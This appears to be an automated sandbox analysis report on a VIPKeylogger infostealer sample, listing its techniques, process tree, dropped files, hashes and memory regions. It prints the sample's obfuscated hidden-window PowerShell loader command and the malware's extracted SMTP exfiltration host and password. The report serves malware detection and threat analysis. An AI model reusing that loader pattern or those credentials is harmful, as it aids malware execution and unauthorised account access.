Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/10/2024, 05:46

General

  • Target
    Snvlerier.exe
  • Size 1.2MB
  • Sample241014-gghcssvdpq
  • SHA256 6e0230eac8eeadd5214b6d83cc2f470933bee1c4261a607e182a093af14b62cb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Credentials
  • Protocol

    smtp

  • Host

    smtp.ionos.es

  • Port

    587

  • Password

    pW@4G()=#2

Extracted

Family
  • vipkeylogger

Credentials

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Blocklisted process makes network request 18 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Snvlerier.exe
    "C:\Users\Admin\AppData\Local\Temp\Snvlerier.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Dictyoceratine=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\carinal\Coracosteon\Eftermles.Tra';$Ciceronian=$Dictyoceratine.SubString(53398,3);.$Ciceronian($Dictyoceratine)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3104
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4956
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Dictyoceratine=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\carinal\Coracosteon\Eftermles.Tra';$Ciceronian=$Dictyoceratine.SubString(53398,3);.$Ciceronian($Dictyoceratine)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1124
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:1924

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        05DDC6AA91765AACACDB0A5F96DF8199

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199
        • Size 854B
        • SHA256 a8accfcfeb51bd73df23b91f4d89ff1a9eb7438ef5b12e8afda1a6ff1769e89d
        • MD5 SHA1 SHA512

        24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
        • Size 1KB
        • SHA256 210a3f1a1bf5c066f9d0fb3fe144402b5ff994d171046d74fca65ae1d71bd324
        • MD5 SHA1 SHA512

        6DA548C7E5915679F87E910D6581DEF1_831B21EC05D416A4ADB2370CD79ABCDD

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6DA548C7E5915679F87E910D6581DEF1_831B21EC05D416A4ADB2370CD79ABCDD
        • Size 471B
        • SHA256 7d8213945a78172e3efb2b43b89c9e6eb6f01eac7d213a54c5544277ba8220fc
        • MD5 SHA1 SHA512

        C02877841121CC45139CB51404116B25_CFDBFDB29AA6A71EBDC3E04CD6E276F4

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C02877841121CC45139CB51404116B25_CFDBFDB29AA6A71EBDC3E04CD6E276F4
        • Size 472B
        • SHA256 88118ac7d69b2eb0fcc514f89f029112d7c71f0cba3b0b8bd7c835ded49c7a0b
        • MD5 SHA1 SHA512

        05DDC6AA91765AACACDB0A5F96DF8199

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199
        • Size 170B
        • SHA256 657226359b15aa379c2f78e29ee75437f10fab97aa57908de0bed1a32c32208a
        • MD5 SHA1 SHA512

        05DDC6AA91765AACACDB0A5F96DF8199

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199
        • Size 170B
        • SHA256 714c0c2a10ffb59ed5544862ccc2dfcb2b4fb328f32804623e2bc05f54e832bc
        • MD5 SHA1 SHA512

        24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
        • Size 410B
        • SHA256 f96a910f954c5d201b2c3be732e50f34ed444a320be60dee22af299f09aad143
        • MD5 SHA1 SHA512

        24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
        • Size 410B
        • SHA256 ef1ad85f4fbbcb53e0a37cc8325ef9485c0aec8d6a807d7f17c91728c47b0152
        • MD5 SHA1 SHA512

        6DA548C7E5915679F87E910D6581DEF1_831B21EC05D416A4ADB2370CD79ABCDD

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6DA548C7E5915679F87E910D6581DEF1_831B21EC05D416A4ADB2370CD79ABCDD
        • Size 402B
        • SHA256 a869120648d6c137bd21fd8c57d257ab5803222cd176c2082a6a178228b352eb
        • MD5 SHA1 SHA512

        C02877841121CC45139CB51404116B25_CFDBFDB29AA6A71EBDC3E04CD6E276F4

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C02877841121CC45139CB51404116B25_CFDBFDB29AA6A71EBDC3E04CD6E276F4
        • Size 398B
        • SHA256 e14cdd60fbf12118811587975a4f90610de3b1bb55e7f77b26609ef0b17a9549
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_gcl0b4dg.55h.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gcl0b4dg.55h.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        Ausubo.kno

        • Path C:\Users\Admin\AppData\Local\Temp\carinal\Coracosteon\Ausubo.kno
        • Size 293KB
        • SHA256 b2432f5cb4dab3bfd81ed9e49aa2e620b185f3202e0057b2dbd16108e1d825a5
        • MD5 SHA1 SHA512 SSDEEP

        Eftermles.Tra

        • Path C:\Users\Admin\AppData\Local\Temp\carinal\Coracosteon\Eftermles.Tra
        • Size 52KB
        • SHA256 bd0e151a557b61a444bb30970b0ac73cdae213addba8b30f0d04231e59b81d00
        • MD5 SHA1 SHA512 SSDEEP

        memory/1124-76-0x0000000007B80000-0x0000000007BA4000-memory.dmp

        memory/1124-69-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/1124-38-0x0000000007520000-0x00000000075B6000-memory.dmp

        memory/1124-86-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/1124-87-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/1124-7-0x0000000002F80000-0x0000000002FB6000-memory.dmp

        memory/1124-8-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/1124-43-0x00000000087E0000-0x0000000008E5A000-memory.dmp

        memory/1124-12-0x0000000005490000-0x00000000054B2000-memory.dmp

        memory/1124-47-0x0000000070850000-0x0000000070BA4000-memory.dmp

        memory/1124-15-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/1124-45-0x00000000700D0000-0x000000007011C000-memory.dmp

        memory/1124-44-0x00000000079A0000-0x00000000079D2000-memory.dmp

        memory/1124-82-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/1124-13-0x0000000005E90000-0x0000000005EF6000-memory.dmp

        memory/1124-26-0x0000000005F70000-0x00000000062C4000-memory.dmp

        memory/1124-71-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/1124-72-0x0000000007B10000-0x0000000007B1A000-memory.dmp

        memory/1124-58-0x00000000079E0000-0x00000000079FE000-memory.dmp

        memory/1124-21-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/1124-75-0x0000000007B50000-0x0000000007B7A000-memory.dmp

        memory/1124-90-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/1124-74-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/1124-88-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/1124-14-0x0000000005F00000-0x0000000005F66000-memory.dmp

        memory/1924-129-0x0000000000810000-0x000000000085A000-memory.dmp

        memory/1924-128-0x0000000000810000-0x0000000001A64000-memory.dmp

        memory/3104-81-0x0000000073C5E000-0x0000000073C5F000-memory.dmp

        memory/3104-11-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/3104-85-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/3104-36-0x0000000006020000-0x000000000603E000-memory.dmp

        memory/3104-80-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/3104-78-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/3104-89-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/3104-6-0x0000000073C5E000-0x0000000073C5F000-memory.dmp

        memory/3104-73-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/3104-70-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/3104-68-0x00000000074A0000-0x0000000007543000-memory.dmp

        memory/3104-46-0x00000000700D0000-0x000000007011C000-memory.dmp

        memory/3104-48-0x0000000070850000-0x0000000070BA4000-memory.dmp

        memory/3104-83-0x0000000008920000-0x000000000A278000-memory.dmp

        memory/3104-10-0x0000000073C50000-0x0000000074400000-memory.dmp

        memory/3104-9-0x0000000005240000-0x0000000005868000-memory.dmp

        memory/3104-37-0x0000000006050000-0x000000000609C000-memory.dmp

        memory/3104-41-0x0000000007670000-0x0000000007C14000-memory.dmp

        memory/3104-39-0x00000000064F0000-0x000000000650A000-memory.dmp

        memory/3104-40-0x0000000006550000-0x0000000006572000-memory.dmp

        memory/4956-127-0x0000000021C70000-0x0000000021D0C000-memory.dmp

        memory/4956-126-0x00000000010D0000-0x000000000111A000-memory.dmp

        memory/4956-125-0x00000000010D0000-0x0000000002324000-memory.dmp

        memory/4956-132-0x00000000228C0000-0x0000000022A82000-memory.dmp

        memory/4956-133-0x00000000226F0000-0x0000000022740000-memory.dmp

        memory/4956-134-0x0000000022FC0000-0x00000000234EC000-memory.dmp

        memory/4956-137-0x0000000022A90000-0x0000000022B22000-memory.dmp

        memory/4956-138-0x0000000022830000-0x000000002283A000-memory.dmp